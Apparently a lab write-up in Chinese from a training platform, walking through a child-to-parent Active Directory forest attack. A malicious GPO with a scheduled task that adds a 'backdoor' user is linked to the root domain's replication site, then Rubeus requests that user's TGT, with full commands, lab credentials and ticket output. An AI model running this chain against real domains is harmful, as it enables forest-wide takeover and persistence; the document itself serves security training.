林内攻击-GPO on site Attack

1. 实验环境

  • DC02(子域控制器)- 10.129.229.207(DHCP)/ 172.16.210.3(双网卡) dev.inlanefreight.ad
  • DC01(父域控制器)- 172.16.210.99 inlanefreight.ad
  • DC02 的账号密码:Administrator 和 HTB_@cademy_adm!
    Pasted image 20260307145558.png

2. 介绍

GPO (组策略对象)。这是微软 Windows 操作系统中的一项功能,允许网络管理员控制和管理计算机组及用户组的设置。你可以将其视为一套规则或策略,能够应用于网络内的多台计算机或多个用户、这是微软的官方说法

GPO 可用于在计算机和用户之间强制执行广泛的配置和策略。GPO 的一些常见用途包括:

GPO 用途 描述
安全策略 (Security Policies) 强制执行密码要求、配置防火墙设置,以及控制用户对特定功能或资源的访问权限。
桌面配置 (Desktop Configurations) 设置桌面背景、控制用户可以运行哪些程序,以及配置电源管理设置。
软件安装 (Software Installation) 在多台计算机上部署和管理软件应用程序。
网络配置 (Network Configurations) 配置网络驱动器映射、设置代理设置,以及管理无线网络连接。

2.1. 跨域的组策略攻击 (子域->父域)

因为配置命名上下文会复制到林内的所有域控制器,所以拥有配置命名上下文访问权限的子域控制器能够通过查询其本地副本,访问并修改整个林配置命名上下文下存储的任何信息

2.1.1. 攻击流程

  1. 在 Child Domain Controller (DC) 上创建一个恶意的组策略对象(GPO)。
  2. 查询根域以识别 Root Domain 的 replication site 。
  3. 将 created GPO 作为 SYSTEM 链接到根域控制器的 Default Replication 站点。
  4. 复制完成后,确认创建的 GPO 存在于 Root DC 中。

总而言之:拥有高权限的子域用户SYSTEM可以在本地访问配置命名上下文的副本,并操纵站点级别的组策略对象,并传播复制到父域控

2.2. 攻击演示

使用 PowerShell cmdlet New-GPO 在子域控制器(DC)中创建一个名为 Backdoor 的新组策略对象,然后访问Group Policy Management 控制台确认是否创建成功

2.2.1. 创建GPO

*Evil-WinRM* PS C:\Users\Administrator\Documents> $gpo = "Backdoor"
*Evil-WinRM* PS C:\Users\Administrator\Documents> New-GPO $gpo


DisplayName      : Backdoor
DomainName       : dev.INLANEFREIGHT.AD
Owner            : DEV\Domain Admins
Id               : f57d7ab2-88ae-4df9-83e7-fb7fb5186385
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 3/7/2026 4:17:33 AM
ModificationTime : 3/7/2026 4:17:34 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :

Pasted image 20260307181938.png

2.2.2. 为GPO添加恶意的定时任务

这个任务会创建新域用户的命令。当 GPO 复制后,计划任务将被触发,从而在父域中创建后门用户账户

利用 PowerView 的 New-GPOImmediateTask 功能在组策略对象(GPO)中创建新的计划任务

请注意,最新版本的 PowerView 不包含 New-GPOImmediateTask 功能。但我们可以使用 PowerSploit 存储库中的旧版本,该版本包含此功能。

*Evil-WinRM* PS C:\Users\Administrator\Documents> Import-Module .\PowerView_old.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents> New-GPOImmediateTask -Verbose -Force -TaskName 'Backdoor' -GPODisplayName "Backdoor" -Command C:\Windows\System32\cmd.exe -CommandArguments "/c net user backdoor B@ckdoor123 /add"
Verbose: Get-DomainSearcher search string: LDAP://DC=dev,DC=INLANEFREIGHT,DC=AD
Verbose: Trying to weaponize GPO: {F57D7AB2-88AE-4DF9-83E7-FB7FB5186385}

然后确认一下是否创建成功

  • 右键GPO选中edit
    Pasted image 20260307182711.png
    Pasted image 20260307182805.png
  • 然后修改一下任务设置,改成Run a new instance in parallel(开启后不管之前的任务是否结束,都会新创建一个进程来运行)
    Pasted image 20260307183037.png

2.2.3. 链接恶意GPO到站点

然后将此 GPO 链接到 replication site 。利用 PowerShell cmdlet Get-ADDomainController,我们可以检索与根域控制器关联的默认复制站点。

PS C:\Users\Administrator\Documents> Get-ADDomainController -Server inlanefreight.ad |Select ServerObjectDN

ServerObjectDN
--------------
CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=INLANEFREIGHT,DC=AD

然后将创建的 Backdoor 组策略对象用 SYSTEM 权限链接到目标站点(这里是父域DC01)

PS C:\Users\Administrator\Documents> whoami
nt authority\system
PS C:\Users\Administrator\Documents> $sitePath = "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=INLANEFREIGHT,DC=AD"
PS C:\Users\Administrator\Documents> New-GPLink -Name "Backdoor" -Target $sitePath -Server dev.inlanefreight.ad


GpoId       : f57d7ab2-88ae-4df9-83e7-fb7fb5186385
DisplayName : Backdoor
Enabled     : True
Enforced    : False
Target      : CN=Default-First-Site-Name,cn=Sites,CN=Configuration,DC=INLANEFREIGHT,DC=AD
Order       : 1
  • -Target:指定要链接的GPO站点、域、或者组织单位的DN
  • -Server:要操作的DC

复制过程完成后,新创建的GPO会链接在整个域基础设施中,包括根域控制器。此外,根据在恶意 Scheduled Task 中执行的命令,还将在根域控制器上触发创建名为 backdoor 的新用户。

此时我们查看域用户,可以发现已经执行命令并创建了一个后门用户
Pasted image 20260307184005.png

2.2.4. 获取TGT

然后用Rubeus获取一个后门用户的TGT

*Evil-WinRM* PS C:\Users\Administrator\Documents> .\Rubeus.exe asktgt /user:backdoor /password:'B@ckdoor123' /domain:inlanefreight.ad /nowrap /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 95071A299B3A00D2E31CE044DC058304
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.ad\backdoor'
[*] Using domain controller: 172.16.210.99:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFojCCBZ6gAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoRIbEElOTEFORUZSRUlHSFQuQUSiJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEGlubGFuZWZyZWlnaHQuYWSjggRbMIIEV6ADAgESoQMCAQKiggRJBIIERYQWIrun8bLHrAhZqcTAhbS/b9WpRq/5RxeLbNf4tKCKiMJIDfAqdVJqsF0Jn+wkowyJMFzUFT7xRcAIxqkyU3lAqge0D3Xgst6qlZR484hmcuVkjtY7zYJwB7s/YyMi9YY2w08qkgKHVggUjp14dk4tOQhO/zMp2M4rNXjtwyBtoCobHPLnf38ZpEJi8ytwJDGBfQ3OH2oPNBfOM2OSkN5fZ8tu5G9HmhNJ8ziqhMVHF8mY/+68jI+Mlr1t/MLbv9AJuurd6wc+AN2Os1ecXWPPS+IOmf746AnaOlAXhn4Zr0qObpED5hZGRQ7yrl5pr8toIoYfskN6dihLpR/bfb/eCHw0bFJ9wQIBtINz1BB62VbqystfTd6KDsIJz1C00sSaVVQH+o9dcq3SG5smK9FZPXViiBOoih/+hscMKS7hhYgJHZhFQK8cQMM8u0tIADYxo67P1ccJ0QRPnalUcZR+aePST4MFZDRHy6QpP5OsfojmGcuYDscEEAuwGc70RNCHfqqXBukLCrlYOoPnCVitEAuMKj7ya4WzJ9N70/BnRm2+rh+Bn5WfBO+N89wvrgePSSZ1z9+EJeesBUV8ivMe+XnV/mHCoUq/7ZuFsTHiRsjgkk96BBsVttdJaDedrcET+RhaToWfHhZ5xnJ3QdDy3RqABM9Qc9ahuK1xepr8s9PEXL0DuSNXDvnRXRmt1v85Ed8eNYII3P6DdLcTK7C0BWXlXkO4qZ3ex7FvR8W/UsEn3/4ERZWhYyNUUerIiH7CuFNe2sWIY4rnfrp1kpAAUbwQc/AdougeZifMc1VPARCCQghz7V1EYcuUaIuxpJ2T3mVo1e3bOsT66Hv964DRcdF33wnud9LKGQlYfcvYVOOPXNv+oe+aJ6RSLkggL3hH93UxSaxYF2i14DL/clDMCFA6Rx/KL0pwF++VIdn2agMVijZc8cTfq8WaQZgNOVOeUHdg7YcRD+3KX1AYvDImEEK6kOJ0rCXe6m+NLni5OhUinLz/hcwBMbObnMCw+mLPhsan6aBI2FQRMZySokRc37g1JXlz+T04yAkKtyY0cYHHrrjLlqZsPvi2ZQb8S8ZHDnPBdxPH6MwrZEwpZZ6U867VyzuMYY3GFl7dwAQVl5llT94WHNQ6gy0oJgFnc9JiSln/LCxqphJm/XpmMT+BD6wA12xpwOZeHk9oGTxreL0xEo4DjWkjDsR5XabAPjN9bbhJYzTzBwHYF5mLSOas4F3jnEPmolDSnDvsOzCJQoSV8tO7B7tA2ORMLltguIqrm49YRt30JF9VvZY3ka9L2HdcvfZesQnQgRstn3qOzf0TZXKgH7HeMyKTH2hznIIofzK+RZsC/Bdk+9nddYrsEZ7nzCIOD7OBiIk4L3KFI+81zXHI+ms/FrEQf1M4BUi2SJ3l2KhQi937DqbnHnGb6dTF4GGozmll0SbjCFWtFwxK17CjgeIwgd+gAwIBAKKB1wSB1H2B0TCBzqCByzCByDCBxaAbMBmgAwIBF6ESBBDRgBehsE5qmZf+9ruQvPYwoRIbEElOTEFORUZSRUlHSFQuQUSiFTAToAMCAQGhDDAKGwhiYWNrZG9vcqMHAwUAQOEAAKURGA8yMDI2MDMwNzEwNDA0M1qmERgPMjAyNjAzMDcyMDQwNDNapxEYDzIwMjYwMzE0MTA0MDQzWqgSGxBJTkxBTkVGUkVJR0hULkFEqSUwI6ADAgECoRwwGhsGa3JidGd0GxBpbmxhbmVmcmVpZ2h0LmFk
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/inlanefreight.ad
  ServiceRealm             :  INLANEFREIGHT.AD
  UserName                 :  backdoor (NT_PRINCIPAL)
  UserRealm                :  INLANEFREIGHT.AD
  StartTime                :  3/7/2026 4:40:43 AM
  EndTime                  :  3/7/2026 2:40:43 PM
  RenewTill                :  3/14/2026 5:40:43 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  0YAXobBOapmX/va7kLz2MA==
  ASREP (key)              :  95071A299B3A00D2E31CE044DC058304

*Evil-WinRM* PS C:\Users\Administrator\Documents> klist

Current LogonId is 0:0x1fe695

Cached Tickets: (1)

#0>     Client: backdoor @ INLANEFREIGHT.AD
        Server: krbtgt/inlanefreight.ad @ INLANEFREIGHT.AD
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 3/7/2026 4:40:43 (local)
        End Time:   3/7/2026 14:40:43 (local)
        Renew Time: 3/14/2026 4:40:43 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: